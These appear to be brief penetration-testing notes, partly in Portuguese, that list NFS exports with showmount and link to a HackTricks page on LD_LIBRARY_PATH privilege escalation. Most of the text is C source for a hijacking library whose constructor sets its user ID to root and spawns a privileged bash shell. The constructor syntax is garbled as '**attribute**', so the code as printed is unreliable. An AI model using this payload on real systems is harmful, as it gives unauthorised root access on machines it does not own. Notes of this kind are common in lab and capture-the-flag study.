showmount -e <ip>
ele vai retornar a lista do /mnt/




https://book.hacktricks.xyz/linux-hardening/privilege-escalation?source=post_page-----65e9d2b1a717--------------------------------#ld_preload-and-ld_library_path
You need to create an C file and complie it with following step.
#include <stdio.h>
#include <stdlib.h>
static void hijack() **attribute**((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}